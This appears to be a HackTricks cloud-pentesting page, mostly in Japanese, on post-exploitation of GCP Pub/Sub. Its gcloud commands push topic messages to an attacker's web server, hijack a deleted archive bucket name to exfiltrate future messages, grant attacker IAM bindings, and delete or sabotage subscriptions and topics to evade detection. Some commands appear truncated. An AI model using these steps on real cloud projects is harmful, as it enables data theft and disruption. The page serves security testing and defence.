Files
hacktricks-cloud/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
T

8.3 KiB

GCP - Pub/Sub Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

Pub/Sub

Pub/Sub についての詳細は、次のページを確認してください:

{{#ref}} ../gcp-services/gcp-pub-sub.md {{#endref}}

pubsub.topics.publish

トピックにメッセージを publish し、予期しないデータを送信して予期しない機能を引き起こしたり、脆弱性を exploit したりするのに役立ちます:

トピックにメッセージを publish ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" ```

pubsub.topics.detachSubscription

サブスクリプションがメッセージを受信するのを防ぐのに役立つ。検知を避けるために使える場合がある。

トピックからサブスクリプションをデタッチ ```bash gcloud pubsub topics detach-subscription ```

pubsub.topics.delete

サブスクリプションがメッセージを受信するのを防ぐのに役立ち、検知を避けるために使える場合があります。
サブスクリプションが付いていても topic を削除することは可能です。

Delete topic ```bash gcloud pubsub topics delete ```

pubsub.topics.update

この権限を使って、topic の設定を変更し、--clear-schema-settings--message-retention-duration--message-storage-policy-allowed-regions--schema--schema-project--topic-encryption-key... のように、その動作を妨害できます。

pubsub.topics.setIamPolicy

前の攻撃を実行するための権限を自分に付与します。

# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

web server で全てのメッセージを取得する:

メッセージを受信するための push subscription を作成 ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ```

サブスクリプションを作成し、それを使って メッセージを pull する:

pull subscription を作成してメッセージを取得 ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic

You also need pubsub.subscriptions.consume for this

gcloud pubsub subscriptions pull

This command will wait for a message to be posted

</details>

### `pubsub.subscriptions.delete`

**サブスクリプションを削除** すると、ログ処理システムやそれに類似するものを妨害するのに役立つ可能性があります:

<details>

<summary>サブスクリプションを削除</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

この権限を使って、メッセージがアクセスできる場所(URL、Big Query table、Bucket)に保存されるよう設定を更新するか、単に妨害できます。

Update subscription endpoint ```bash gcloud pubsub subscriptions update --push-endpoint ```

Cloud Storage subscription bucket-name hijack - storage.buckets.delete

Pub/Sub subscriptions can write delivered messages into Cloud Storage buckets. If a subscription keeps pointing to gs://<bucket-name> and an attacker can delete that bucket, the attacker may recreate the same globally-unique bucket name in another project and receive future messages without changing the subscription.

This can be valuable when the attacker cannot use pubsub.subscriptions.update, but can delete the destination bucket with permissions such as storage.buckets.delete, storage.objects.delete, and storage.objects.list.

# Find Cloud Storage subscriptions and their destinations
gcloud pubsub subscriptions list --project <PROJECT_ID> \
--format='json(name,topic,cloudStorageConfig)'

# Empty and delete the destination bucket
gcloud storage rm -r gs://<BUCKET_NAME>

# Recreate the same bucket name under attacker control
gcloud storage buckets create gs://<BUCKET_NAME> \
--project <ATTACKER_PROJECT_ID> \
--location <LOCATION>

# Grant the Pub/Sub service agent write access if delivery requires it
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
--role='roles/storage.objectCreator' \
--project <ATTACKER_PROJECT_ID>

gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
--role='roles/storage.legacyBucketReader' \
--project <ATTACKER_PROJECT_ID>

Potential Impact: Cloud Storage にアーカイブされた将来の Pub/Sub メッセージの exfiltration。これには application events、failed pipeline payloads、logs、または data lake ingestion records が含まれます。

Detection & Mitigation: Pub/Sub subscriptions が使用する buckets の deletion を alert し、cloudStorageConfig を持つ subscriptions を review し、delivery errors の後に bucket recreation が起きていないか watch し、message archival buckets に対する destructive access を制限します。

pubsub.subscriptions.setIamPolicy

これまでにコメントした任意の attacks を実行するために必要な permissions を自分に付与します。

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

schema を topic に attach して、messages がそれを満たさないようにし、その結果 topic を disrupt します。
schemas が存在しない場合は、作成する必要があるかもしれません。

Create schema file and attach to topic ```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

これは schema を削除すると、schema を満たさないメッセージを送信できるように見えるかもしれません。しかし、schema が削除されると実際にはどのメッセージも topic の中に入らなくなります。したがって、これは USELESS です:

Delete schema (not useful) ```bash gcloud pubsub schemas delete ```

pubsub.schemas.setIamPolicy

以前に説明した攻撃を実行するために必要な権限を自分に付与します。

pubsub.snapshots.create, pubsub.snapshots.seek

これは、ACKされていないすべてのメッセージの snapshot を作成し、それらを subscription に戻します。攻撃者にとってあまり有用ではありませんが、ここでは次のとおりです:

Create snapshot and seek to it ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```

{{#include ../../../banners/hacktricks-training.md}}